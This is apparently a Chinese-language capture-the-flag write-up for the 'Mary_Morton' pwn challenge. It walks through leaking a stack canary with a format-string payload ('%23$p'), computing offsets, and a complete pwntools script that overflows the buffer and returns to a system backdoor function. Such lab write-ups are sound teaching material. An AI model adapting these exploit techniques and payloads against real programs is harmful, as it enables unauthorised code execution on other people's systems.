预备知识

本题涉及到的知识点:

  • 格式化字符串漏洞(泄露canary)
  • 栈溢出漏洞(ret2text)

程序分析

  1. 首先,使用checksec查看保护情况。

    64位程序,开启了Canary和NX保护。

    1
    2
    3
    4
    5
    6
    [*] '/root/Desktop/ADworld/1.Mary_Morton/Mary_Morton'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: No PIE (0x400000)
  2. 运行程序,发现有三个选项,分别对应栈溢出漏洞、格式化字符串漏洞、退出程序。

    每个选项都可以进行一次输入。

    Mary_Morton.png

  3. 拖入IDA进行分析。main函数对三个选项依次处理。

    Mary_Morton_1.png

  4. 继续跟进到格式化字符串漏洞函数里。

    可以发现,存在格式化字符串漏洞。通过该漏洞,我们可以泄露canary的值。

    Mary_Morton_2.png

  5. 继续跟进到栈溢出漏洞函数。

    发现存在栈溢出漏洞,可以依次填充 垃圾字符 -> canary -> ebp -> 返回地址。

    Mary_Morton_3.png

  6. 但是要ret到哪里呢?我们继续寻找。

    最后发现一个system后门函数,直接cat flag。

    Mary_Morton_4.png

利用思路

根据上述分析,我们可以进行如下两步:

  1. 通过格式化字符串漏洞泄露canary的值。
  2. 通过栈溢出依次填充 垃圾字符 -> canary -> ebp -> system后门函数地址 从而ret2text得到flag。

格式化字符串漏洞计算偏移

运行程序,我们输入 “AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p”:

Mary_Morton_5.png

根据输出的结果,可以发现,格式化字符串到buf变量的偏移量为6个自然长度。

继续根据前面的分析,buf位于rbp-90h的位置,v2(保存canary)位于rbp-8h的位置。

即两者相差0x90 - 0x8 = 0x88,64位程序中,一个指针占8字节,0x88 / 0x8 = 0x11 = 17。

也就是说,格式化字符串到canary的距离为 6 + 17 = 23个自然长度。

注:以上自然长度指的是指针在64位环境下所占空间大小,即8字节。

泄露canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'debug'

io = process('./Mary_Morton')

# leak canary
payload = '%23$p' # 打印距离格式化字符串23个自然长度的变量

io.sendlineafter('the battle \n', '2') # 进入格式化字符串漏洞函数
io.send(payload) # 发送payload
io.recvuntil('0x') # 接收0x之前的数据
canary = int(io.recv(16), 16) # 接收16个字符(指针地址是以字符串形式打印出来的)
print 'canary = ', hex(canary)

栈溢出ret2text

1
2
3
4
5
6
7
8
9
# ret2text
system = 0x00000000004008DA

# padding * 0x88 + canary + ebp + ret地址
payload = 'A' * 0x88 + p64(canary) + 'deadbeef' + p64(system)
io.sendlineafter('the battle \n', '1')
io.send(payload)

io.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'

io = process('./Mary_Morton')

# leak canary
payload = '%23$p'

io.sendlineafter('the battle \n', '2')
io.send(payload)
io.recvuntil('0x')
canary = int(io.recv(16), 16)
print 'canary = ', hex(canary)

# ret2text
system = 0x00000000004008DA

payload = 'A' * 0x88 + p64(canary) + 'deadbeef' + p64(system)
io.sendlineafter('the battle \n', '1')
io.send(payload)

io.interactive()